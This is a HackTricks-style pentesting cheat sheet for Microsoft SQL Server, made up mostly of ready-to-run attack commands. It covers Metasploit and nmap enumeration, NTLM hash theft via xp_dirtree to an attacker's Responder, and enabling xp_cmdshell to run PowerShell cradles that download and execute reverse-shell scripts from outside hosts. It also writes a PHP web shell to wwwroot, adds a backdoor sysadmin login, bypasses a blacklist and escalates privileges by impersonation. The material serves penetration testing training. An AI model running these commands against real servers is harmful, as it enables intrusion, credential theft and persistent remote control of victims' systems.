# 1433 - Pentesting MSSQL - Microsoft SQL Server

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## Basic Information

**Microsoft SQL Server** is a **relational database** management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server).

**Default port:** 1433

```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```

### **Default MS-SQL System Tables**

* **master Database**: Records all the system-level information for an instance of SQL Server.
* **msdb Database**: Is used by SQL Server Agent for scheduling alerts and jobs.
* **model Database**: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
* **Resource Databas**: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
* **tempdb Database** : Is a work-space for holding temporary objects or intermediate result sets.

## Enumeration

### Automatic Enumeration

If you don't know nothing about the service:

```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```

If you **don't** **have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username.

### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#sql-server)

### Authenticated Enumeration

#### Manual

```sql
SELECT name FROM master.dbo.sysdatabases #Get databases
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES; #Get table names
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
sp_addsrvrolemember 'hacker', 'sysadmin'
```

#### Mssqlclient.py

You can login into the service using **impacket mssqlclient.py**

```bash
mssqlclient.py  -db volume -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> #Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine

#Once logged in you can run queries:
SQL> select @@version;

#Steal NTLM hash
sudo responder -I <interface> #Run that in other console
SQL> exec master..xp_dirtree '\\<YOUR_RESPONDER_IP>\test' #Steal the NTLM hash, crack it with john or hashcat

#Try to enable code execution
SQL> enable_xp_cmdshell

#Execute code, 2 sintax, for complex and non complex cmds
SQL> xp_cmdshell whoami /all
SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
```

#### sqsh

```bash
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> #In case Windows Auth using "." as domain na,e for local user
```

![](<../.gitbook/assets/image (20) (1).png>)

#### Metasploit

```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```

## Tricks

### Execute commands

```bash
#Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
#Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

#this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'

# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
```

### NTLM Service Hash gathering

[You can extract the](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [**NTLM hash**](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [of the user making the service authenticate against you.](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/)\
You should start a **SMB server** to capture the hash used in the authentication (impacket-smbserver or responder for example).

```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```

### Abusing MSSQL trusted Links

[**Read this post**](../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature**

### **Write Files**

To write files using `MSSQL`, we **need to enable** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file:

```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
```

### **Read file with** OPENROWSET

By default, `MSSQL` allows file **read on any file in the operating system to which the account has read access**. We can use the following SQL query:

```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO
```

### **Read files executing scripts (Python and R)**

MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands.

Example trying to execute a **'R'** _"Hellow World!"_ **not working**:

![](<../.gitbook/assets/image (185).png>)

Example using configured python to perform several actions:

```sql
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```

### From db\_owner to sysadmin

[If you have the](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**credentials of a db\_owner user**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)[, you can become](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**sysadmin**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [and](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**execute commands**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)

```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```

### Impersonation of other users

[IMPERSONATE privilege can lead to privilege escalation in SQL Server.](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/)

SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends.&#x20;

#### Identify users to impersonate

```
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
john
```

Note how from the previous results you can see that you can **impersonate the user "sa".**

#### Impersonate sa user

```
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
```

{% hint style="info" %}
If you can impersonate a user, even if he isn't sysadmin, you should check i**f the user has access** to other **databases** or linked servers.
{% endhint %}

#### Automatically

```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```

### Using MSSQL for Persistence

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

### Other ways for RCE

There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

## Post Explotation

The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
You probably will be able to escalate to Administrator using this token: [Juicy-potato](https://github.com/ohpe/juicy-potato)

## Shodan

* `port:1433 !HTTP`

## HackTricks Automatic Commands

```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for MSSQL
  Note: |
    Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

    #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

    ###the goal is to get xp_cmdshell working###
    1. try and see if it works
        xp_cmdshell `whoami`
        go

    2. try to turn component back on
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell `whoami`
        go

    3. 'advanced' turn it back on
        EXEC SP_CONFIGURE 'show advanced options', 1
        reconfigure
        go
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell 'whoami'
        go




    xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


    https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
  Name: Nmap for SQL
  Description: Nmap with SQL Scripts
  Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
  
Entry_3:
  Name: MSSQL consolesless mfs enumeration
  Description: MSSQL enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' 
    
```

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